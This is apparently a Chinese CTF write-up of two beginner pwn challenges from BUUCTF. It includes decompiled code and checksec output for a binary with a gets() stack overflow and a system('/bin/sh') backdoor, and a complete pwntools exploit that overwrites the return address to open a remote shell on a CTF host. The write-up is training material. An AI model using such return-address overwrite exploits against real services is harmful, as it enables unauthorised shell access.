test_your_nc

int __fastcall main(int argc, const char **argv, const char **envp)
{
system("/bin/sh");
return 0;
}

一道简答的签到题目,直接nc连接就可以获得shell。

rip

[*] '/mnt/d/ctf/buuctf/rip'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x400000)
Stack: Executable
RWX: Has RWX segments
Stripped: No

一道64位的题目,几乎什么保护都没有开启,说明也是一道简单的签到题目,直接放入ida中进行分析

int __fastcall main(int argc, const char **argv, const char **envp)
{
char s[15]; // [rsp+1h] [rbp-Fh] BYREF

puts("please input");
gets(s, argv);
puts(s);
puts("ok,bye!!!");
return 0;
}
int fun()
{
return system("/bin/sh");
}

存在明显的栈溢出以及后门函数,因此这道题的思路就是利用栈溢出修改返回地址到后门函数的地址即可获得shell。由于是64位,需要注意堆栈平衡,exp如下:

from pwn import*
io = remote("9a7dcd5303871c963154af4f.tcp-ctf2.dasctf.com", 9999, ssl=True)

ret = 0x0000000000401016
fun = 0x401186
payload = cyclic(0xF + 8) + p64(ret) + p64(fun)
io.sendline(payload)

io.interactive()